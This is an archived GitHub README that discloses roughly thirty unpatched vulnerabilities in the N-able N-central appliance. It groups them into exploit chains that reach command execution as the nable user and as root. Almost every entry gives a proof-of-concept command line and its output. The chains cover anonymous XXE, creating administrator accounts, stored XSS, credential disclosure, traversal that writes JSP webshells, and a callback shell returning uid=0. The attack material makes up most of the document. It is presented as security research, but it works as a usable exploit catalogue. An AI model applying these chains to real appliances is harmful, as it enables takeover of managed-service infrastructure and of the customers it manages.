Able2Shell: N-central session confusion and exploit chains

Able2Shell: N-central session confusion and exploit chains - Author not stated, MSPNightmare/CVEs.

- Published: date not stated
- Original: <https://github.com/MSPNightmare/CVEs/blob/288a6b0a312ff2c8586bcd97911b97245439af2b/0-Days/N-Central%20N-Able/Able2Shell/README.md>
- Preserved from: https://github.com/MSPNightmare/CVEs/blob/288a6b0a312ff2c8586bcd97911b97245439af2b/0-Days/N-Central%20N-Able/Able2Shell/README.md (github-api) on 2026-11-13
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

> **Repository reading copy.** Created from README.md.

README.md

`MSPNightmare/CVEs` at `288a6b0a312f`, path `0-Days/N-Central N-Able/Able2Shell/README.md`.

Able2Shell - N-Central N-Able

Disclaimer: I am not affiliated with Vector 35 or the product BinaryNinja in any way.

All testing was done on the version "**N-able N-central Appliance 2026.4.0.31**" - This is a pre-release version and as such most if not all vulnerabilities should work on previous versions, including the most up to date version. At the time of posting all vulnerabilities work on the latest pre-release version and are unpatched.

Contents

- Exploit Chains
- Vulnerabilities
- Running notes

Vulnerability index

- Anonymous service-import XXE chains NCI session confusion to nable RCE
- ProductAdmin GenericTCP stack overflow reaches root MMS command execution
- Zero-role Automation Manager policy disclosure
- Pre-auth service-import XXE steals the local NCI session and writes an executable JSP
- ApplianceRegistration customer/appliance identity confusion
- ServerEI2 registration-token disclosure to Technicians
- ServerEI2 userAdd permits unauthorized Technician account creation
- Anonymous asset-discovery database credential disclosure
- View-only role injects DeviceExecute configuration
- Anonymous Probe.ListAll cross-customer appliance disclosure
- Anonymous SysConfig.Set global configuration overwrite
- ServerMMS2 session/object mismatch
- Backup restore notification option injection to root
- Passwordless syslog installer trusts nable-writable configuration
- Anonymous remote-control session termination
- Self-checksummed NSP upload to ProductAdmin root RCE
- SIS GenericFiles version traversal to authenticated RCE
- Anonymous password-reset account enumeration
- Anonymous remote-control audit-record overwrite
- Anonymous MDM UDID impersonation
- Anonymous MMS3 disclosure of reusable Ecosystem Agent credentials
- SIS repository parser authenticated XXE
- Test-email recipient option injection
- Backup restore key-map injection writes executable JSP
- Custom-service XML import authenticated XXE
- Anonymous MMS3 patch XSS to Audit Export root RCE
- Audit Export serverIp syslog-ng grammar injection
- Anonymous MMS3 patch XSS to OGNL nable RCE
- File Repository upload filename traversal to RCE
- ServerEI2 repository publish arbitrary file write
- Predictable ServerMMS3 passcode
- Pre-upgrade helper executes nable-controlled script as root
- Authenticated OGNL expression injection to nable RCE

Exploit Chains

Anonymous service-import XXE to `nable` RCE

The anonymous MMS2 write primitive, pre-authentication external-entity resolution, NCI local-session trust confusion, password reset, and authenticated JSP execution compose into the credential-free XXE chain. The same chain can create an enabled Default Administrator account with an operator-supplied username and password after the takeover.

Anonymous MMS3 stored XSS to OGNL `nable` RCE

Predictable appliance authentication permits anonymous patch-metadata injection; a normal ProductAdmin patch-detail view executes the stored payload and invokes the OGNL command sink. See the anonymous stored-XSS chain and the independently reproduced authenticated OGNL sink.

Anonymous MMS3 stored XSS to Audit Export root RCE

The same anonymous stored-XSS entry can use the administrator's same-origin session to submit Audit Export syslog-ng grammar injection and obtain `uid=0(root)`. See the anonymous stored-XSS root chain and the individual Audit Export sink.

SIS traversal to `nable`, then syslog helper to root

The SIS GenericFiles traversal places an executable JSP in Jetty and executes it as `nable`; the passwordless syslog installer then consumes a `nable`-writable configuration and executes as root. Reproduce the two edges with the SIS traversal followed by the syslog helper.

Vulnerabilities

Anonymous service-import XXE chains NCI session confusion to `nable` RCE

An anonymous MMS2 caller stages XML/JSP content, triggers external-entity processing before UI-session enforcement, reuses the local NCI trust context to reset an account, and invokes the JSP as `uid=992(nable)`. The optional administrator mode creates an enabled role-1002 account, proves its UI login and protected Add User access, and leaves it in place unless validation cleanup is requested.

```
sh$ python3 anonymous_xxe_nable_rce.py --appliance-id 1807387629 --callback-host
<CALLBACK_IP> --user-id 50 --username productadmin@n-able.com --customer-id 1 --restore-
password '<RECOVERY_PASSWORD>' --create-admin-username <NEW_ADMIN_USERNAME> --create-
admin-password '<NEW_ADMIN_PASSWORD>' --delete-created-admin --proxy "$HTTPS_PROXY" --
command /usr/bin/id
created_admin_id=1290595928
created_admin_login=accepted
created_admin_role_id=1002
created_admin_protected_action=200
uid=992(nable) gid=992(nable) groups=992(nable)
context=system_u:system_r:unconfined_service_t:s0
created_admin_deleted=true
account_password_restored=true
staging_logs_neutralized=true
```

PoC · Output · Screenshot

Omit `--delete-created-admin` to retain the requested administrator account. Use a fresh compliant value for `--restore-password`, because password history can reject immediate reuse of the pre-run password; `NCENTRAL_NEW_ADMIN_PASSWORD` may be used instead of placing the new administrator password on the command line.

ProductAdmin GenericTCP stack overflow reaches root MMS command execution

On N-central Appliance 2026.4.0.31, authenticated gzip SOAP `Task.ModifyConfig` accepts a 9,242-byte GenericTCP command that the stock form rejects. The PoC stages P and pauses for a fresh one-worker MMS launch. Startup executes P once; the PoC then atomically arms all 40 E helpers and the overlong command. At the next five-minute scan, cached P executes a second time, the task refresh fetches E, and E immediately executes a third time. E partially overwrites the adjacent socket pointer, selects the shaped `std::string`, and dispatches through fixed `system@plt` as root.

This is a constrained ProductAdmin-authenticated reproduction. It requires the isolated task ID used by the PoC, a fresh one-worker MMS launched with `setarch -R`, and the exact tested build. The natural object bytes execute only the fixed `ps` command. No debugger or process-memory write was present in the successful run. The command executes before the corrupted worker later crashes with `SIGSEGV`; the PoC restores the task parameters after the result is captured.

```
sh$ PRODUCTADMIN_PASSWORD='<PASSWORD>' python3 generictcp_stack_overflow.py --insecure --
aslr-disabled-lab --run
task=1687743279 E_parameters=41 E_send_bytes=9242
P saved parameters=77
launch fresh one-worker MMS with ASLR disabled and confirm startup P=count1: press Enter
to continue:
E armed parameters=41
confirm cached P=count2 then refreshed E=count3 and capture root ps output: press Enter
to continue:
P restored parameters=77
```

PoC · Output

Zero-role Automation Manager policy disclosure

A zero-role account can enumerate Automation Manager UUIDs, after which the fixed `agent` / `agent` pair downloads raw executable policy source without a user or appliance session.

```
sh$ NCENTRAL_PASSWORD='<ZERO_ROLE_PASSWORD>' python3
automation_manager_policy_disclosure.py --username <ZERO_ROLE_USER> --control --output
policy.xml
enumerated_items=162
name='Add Domain User To Local Group'
policy_bytes=6328
control_bytes=0
```

PoC · Output · Screenshot

Direct UUID download PoC · Direct output

Pre-auth service-import XXE steals the local NCI session and writes an executable JSP

The service-import parser resolves an attacker DTD before checking the supplied UI session, allowing theft of the rotating NCI session and a controlled JSP write. This primitive is exercised by the stronger complete anonymous chain in the shared PoC below.

```
sh$ python3 anonymous_xxe_nable_rce.py --appliance-id 1807387629 --callback-host
<CALLBACK_IP> --user-id 50 --username productadmin@n-able.com --customer-id 1 --restore-
password '<RECOVERY_PASSWORD>' --create-admin-username <NEW_ADMIN_USERNAME> --create-
admin-password '<NEW_ADMIN_PASSWORD>' --delete-created-admin --proxy "$HTTPS_PROXY" --
command /usr/bin/id
created_admin_id=1290595928
created_admin_login=accepted
created_admin_role_id=1002
created_admin_protected_action=200
uid=992(nable) gid=992(nable) groups=992(nable)
context=system_u:system_r:unconfined_service_t:s0
created_admin_deleted=true
account_password_restored=true
staging_logs_neutralized=true
```

Shared chain PoC · Output · Screenshot

ApplianceRegistration customer/appliance identity confusion

Registration validates a caller-controlled customer ID independently of the supplied appliance ID, then crosses into post-authentication handling for the unrelated target appliance.

```
sh$ python3 appliance_registration_customer_binding.py technician.json --customer-id 101
--appliance-id 2147483001
valid_supplied_customer_http=500 post_auth=True
invalid_token_http=200 rejected=True
customer_omitted_http=200 rejected=True
```

PoC · Output · Screenshot

ServerEI2 registration-token disclosure to Technicians

`customerList` returns plaintext appliance-registration credentials to the built-in Technician role even though that role lacks the registration-token permission.

```
sh$ python3 technician_registration_token_disclosure.py technician.json
customer=101 token_present=True expiry_present=True
```

PoC · Output · Screenshot

ServerEI2 `userAdd` permits unauthorized Technician account creation

The legacy method authenticates a Technician but omits the user-administration permission check, allowing creation of an enabled peer Technician account.

```
sh$ python3 technician_peer_account_creation.py technician.json new_technician.json --
verify-login
created_user_id=1498898957
login_http=302 location=https://192.168.1.14:8443/IndexAction.action
```

PoC · Output · Screenshot

Anonymous asset-discovery database credential disclosure

Cookie-free `AssetJobDefaultProperties.List` returns a selected customer's asset-discovery database username, password, connection data, and scan settings.

```
sh$ python3 anonymous_asset_job_credentials.py --customer-id 1
DBACCOUNT_length=14
DBPASSWD_length=14
```

PoC · Output · Screenshot

View-only role injects DeviceExecute configuration

`deviceExecute` accepts and delivers arbitrary appliance configuration from a user holding only a device-settings view permission; the PoC reads the value from the appliance side and then clears it.

```
sh$ NCENTRAL_PASSWORD='<VIEW_ONLY_PASSWORD>' python3 view_only_deviceexecute_write.py --
username <VIEW_ONLY_USER> --key OperatorTest --value accepted
write_http=200 readback=true
clear_http=200 cleanup_absent=True
```

PoC · Output · Screenshot

Anonymous `Probe.ListAll` cross-customer appliance disclosure

A nonpositive session ID bypasses validation and returns cross-customer probe/appliance identifiers that directly enable the predictable MMS3 passcode attack.

```
sh$ python3 anonymous_probe_inventory.py --customer-id 50
customer=1 appliance=5 type=Maint name=Central Server Asset
customer=1 appliance=1 type=MMS name=Central Server
customer=101 appliance=1177049630 type=Windows name=WS-AUDIT-PROBE-20261105
invalid_session_http=500
```

PoC · Output · Screenshot

Anonymous `SysConfig.Set` global configuration overwrite

Public-view mode mistakenly permits writes to global configuration rows, including trusted service endpoints and security-sensitive feature settings. The PoC performs paired readback and restoration.

```
sh$ python3 anonymous_sysconfig_write.py --value https://127.0.0.1/
invalid_session_http=500
readback_matches_requested=True
restored=True
```

PoC · Output · Screenshot

ServerMMS2 session/object mismatch

An anonymous session bound to one appliance can update configuration belonging to a different caller-selected appliance. The PoC reads the cross-appliance value and restores the original.

```
sh$ python3 anonymous_mms2_cross_appliance_write.py --source-appliance 1809608396 --
target-appliance 1177049630 --value http://127.0.0.1:1
invalid_session_http=500
cross_appliance_readback_matches=True
restored=True
```

PoC · Output · Screenshot

Backup restore notification option injection to root

A ProductAdmin-controlled notification value is parsed as a Sendmail option during the root restore failure path, selecting attacker configuration and executing as root before recipient validation.

```
sh$ python3 backup_restore_sendmail_root_rce.py --callback-host <CALLBACK_IP> --command
/usr/bin/id
login=302
stage=ok
restore=500
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
```

PoC · Output · Screenshot

Passwordless syslog installer trusts `nable`-writable configuration

The root wrapper installs and restarts syslog-ng using a complete configuration from a `nable`-writable directory, converting any existing `nable` execution into root execution.

```
sh$ python3 syslog_installer_root_rce.py --callback-host <CALLBACK_IP> --command
/usr/bin/id
listening on [any] 19173 ...
connect to [192.168.1.145] from (UNKNOWN) [192.168.1.14] 36100
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:syslogd_t:s0
uid=992
wrapper=0
cleanup=ok
```

PoC · Output · Screenshot

Anonymous remote-control session termination

The unauthenticated legacy callback accepts a task ID and terminates the selected live remote-control session using backend session ID `-1`.

```
sh$ python3 anonymous_remote_control_disconnect.py <ACTIVE_TASK_ID>
http=200 set_cookie=True body='disconnectRC||true||Ok'
```

PoC · Output · Screenshot

Self-checksummed NSP upload to ProductAdmin root RCE

The appliance trusts an NSP payload and digest supplied together by ProductAdmin, then executes the extracted pre-upgrade script through a supported root helper.

```
sh$ python3 nsp_root_rce.py --callback-host <CALLBACK_IP> --command /usr/bin/id
login=302
upload=200
trigger=200
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
```

PoC · Output · Screenshot

SIS GenericFiles version traversal to authenticated RCE

Unsigned SIS metadata places an executable JSP outside the intended download directory and into the deployed Jetty tree, where it executes as `nable`.

```
sh$ python3 sis_genericfiles_traversal_rce.py --callback-host <CALLBACK_IP> --command
/usr/bin/id
login=302
save=200
execute=200
uid=992(nable) gid=992(nable) groups=992(nable)
context=system_u:system_r:unconfined_service_t:s0
cleanup=ok
```

PoC · Output · Screenshot

Anonymous password-reset account enumeration

Enabled local-account email addresses and absent addresses return different password-reset pages and response sizes.

```
sh$ python3 password_reset_account_enumeration.py productadmin@n-able.com absent-
1794182103@n-able.invalid
email=productadmin@n-able.com http=200 bytes=23936 result=accepted
email=absent-1794182103@n-able.invalid http=200 bytes=25680 result=request_form
```

PoC · Output · Screenshot

Anonymous remote-control audit-record overwrite

The unauthenticated callback updates protected remote-control audit fields for a caller-supplied session UUID without creating an authenticated session.

```
sh$ python3 anonymous_remote_control_audit_tampering.py <REMOTE_CONTROL_UUID> --tunnel-
type SSH --source-uri operator://source --target-uri operator://target
http=200 bytes=0 set_cookie=True
```

PoC · Output · Screenshot

Anonymous MDM UDID impersonation steals commands and forges results

The public MDM command channel trusts a caller-supplied UDID without authenticating the device, allowing an anonymous caller to retrieve a pending command and submit its result. The live PoC stole a synthetic `DeviceLock` command and marked it `Acknowledged` using only the returned command UUID.

```
sh$ python3 mdm_udid_command_impersonation.py 00000000000000000000000000000002026 --
acknowledge --insecure
http=200
command=DeviceLock
command_uuid=815a6f7b-8482-4418-a676-cfecb6bee924
ack_http=200
```

PoC · Output · Screenshot

Anonymous MMS3 disclosure of reusable Ecosystem Agent credentials

A forged MMS3 appliance session exposes `agentKey` and `encKey`, which derive a valid global Ecosystem Agent credential accepted by a protected handler.

```
sh$ python3 anonymous_mms3_ecosystem_credentials.py --appliance-id 1177049630
agentKey_present=True
encKey_present=True
invalid_error_code=403 FORBIDDEN
derived_error_code=0
```

PoC · Output · Screenshot

SIS repository parser authenticated XXE

A ProductAdmin-controlled SIS repository document resolves external entities and discloses local files readable by the DMS JVM.

```
sh$ python3 sis_repository_xxe.py --callback-host <CALLBACK_IP> --file /etc/hostname
login=302
save=200
callback=192.168.1.14 /repo/Repository.xml Java/21.0.13
callback=192.168.1.14 /external.dtd Java/21.0.13
callback=192.168.1.14 /leak?value=localhost.localdomain Java/21.0.13
```

PoC · Output · Screenshot

Test-email recipient option injection

A ProductAdmin-supplied recipient reaches Sendmail without an option terminator, permitting arbitrary file creation or truncation as `nable`.

```
sh$ python3 test_email_option_injection.py --path
/opt/nable/webapps/ROOT/tmp/sendmail_test.txt
login=302
send=200
read=200
bytes=0
```

PoC · Output · Screenshot

Backup restore key-map injection writes executable JSP

Arbitrary restore keys control Perl special variables and the console path, causing the privileged restore helper to append executable JSP source to the deployed webroot.

```
sh$ python3 backup_restore_keymap_jsp_rce.py --command /usr/bin/id
login=302
trigger=200
execute=200
uid=992(nable) gid=992(nable) groups=992(nable)
context=system_u:system_r:unconfined_service_t:s0
```

PoC · Output · Screenshot

Custom-service XML import authenticated XXE

The custom-service parser leaves external-entity features enabled, permitting server-side requests and local-file disclosure.

```
sh$ python3 custom_service_import_xxe.py --callback-host <CALLBACK_IP> --file
/etc/hostname
login=302
import=200
callback=192.168.1.14 /external.dtd Java/21.0.13
callback=192.168.1.14 /leak?value=localhost.localdomain Java/21.0.13
```

PoC · Output · Screenshot

Anonymous MMS3 patch XSS to Audit Export root RCE

Anonymous appliance impersonation persists active patch metadata; a ProductAdmin viewing the affected detail executes same-origin script that submits Audit Export grammar injection and obtains root execution.

```
sh$ PRODUCTADMIN_PASSWORD='<PASSWORD>' python3 anonymous_mms3_xss_root_rce.py --lhost
<CALLBACK_IP> --proxy "$HTTPS_PROXY" --command /usr/bin/id
browser_trigger=natural_click
root_callback=connected
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:syslogd_t:s0
audit_export_restored=true
cleanup=ok
```

PoC · Output · Screenshot

Audit Export `serverIp` syslog-ng grammar injection

An authenticated `serverIp` value escapes the generated syslog-ng destination and adds a root-executed `program()` destination. The PoC restores the original Audit Export configuration.

```
sh$ python3 audit_export_root_rce.py --callback-host <CALLBACK_IP> --command /usr/bin/id
login=302
save=200
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:syslogd_t:s0
restore=200
```

PoC · Output · Screenshot

Anonymous MMS3 patch XSS to OGNL `nable` RCE

Anonymous patch metadata becomes stored active content in a viewing administrator's browser and invokes the authenticated Security Manager OGNL sink to execute as `nable`.

```
sh$ PRODUCTADMIN_PASSWORD='<PASSWORD>' python3 anonymous_mms3_xss_ognl_rce.py --lhost
<CALLBACK_IP> --proxy "$HTTPS_PROXY" --command /usr/bin/id
browser_trigger=natural_click
uid=992(nable) gid=992(nable) groups=992(nable)
context=system_u:system_r:unconfined_service_t:s0
cleanup=ok
```

PoC · Output · Screenshot

File Repository upload filename traversal to RCE

A multipart filename escapes the repository directory and writes an executable JSP into the deployed webroot, where it executes as `nable`.

```
sh$ python3 file_repository_traversal_rce.py --command /usr/bin/id
login=302
upload=200
execute=200
uid=992(nable) gid=992(nable) groups=992(nable)
context=system_u:system_r:unconfined_service_t:s0
```

PoC · Output · Screenshot

ServerEI2 repository publish arbitrary file write

Parent-directory components in the repository item name write attacker-controlled `.amp` bytes outside the repository. The forced suffix is material: the behavior proves arbitrary write, not code execution.

```
sh$ python3 repository_publish_arbitrary_write.py
soap=200
read=200
bytes=248
```

PoC · Output · Screenshot

Predictable ServerMMS3 passcode

The MMS3 passcode is deterministically derived from the decimal appliance ID, allowing an anonymous caller to mint and confirm a JWT, create an appliance session, and invoke protected operations.

```
sh$ python3 predictable_mms3_passcode.py --appliance-id 1177049630
wrong_passcode_http=500
acquire_http=200
confirm_http=200
session_hello_http=200
scan_module_count_http=200
```

PoC · Output · Screenshot

Pre-upgrade helper executes `nable`-controlled script as root

A passwordless wrapper executes a script from a `nable`-writable upgrade directory without ownership, containment, or integrity validation.

```
sh$ python3 preupgrade_helper_root_rce.py --callback-host <CALLBACK_IP> --command
/usr/bin/id
login=302
stage=ok
trigger=500
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
```

PoC · Output · Screenshot

Authenticated OGNL expression injection to `nable` RCE

A UI user's `currentModule` value is evaluated as raw OGNL and can invoke the shipped process service to execute OS commands as `nable`.

```
sh$ python3 ognl_rce.py --callback-host <CALLBACK_IP> --command /usr/bin/id
login=302
trigger=500
uid=992(nable) gid=992(nable) groups=992(nable)
context=system_u:system_r:unconfined_service_t:s0
```

PoC · Output · Screenshot

Running notes

- Replace angle-bracket placeholders with lab values. Do not put real credentials in the README or scripts; use the documented environment variables or interactive prompt.
- `anonymous_mms3_xss_root_rce.py` and `anonymous_mms3_xss_ognl_rce.py` automate the victim browser with Selenium/Chrome and require the managed HTTP proxy argument in this assessment environment.
- `generictcp_stack_overflow.py` is calibrated to the documented isolated, one-worker, ASLR-disabled lab and executes only the natural fixed `ps` command before the worker crashes.
- `syslog_installer_root_rce.py` starts locally as `nable`; use one of the remote `nable` RCE PoCs first when reproducing the composed remote-to-root chain.

Archived from https://github.com/MSPNightmare/CVEs/blob/288a6b0a312ff2c8586bcd97911b97245439af2b/0-Days/N-Central%20N-Able/Able2Shell/README.md. Rendered offline from the local Markdown copy.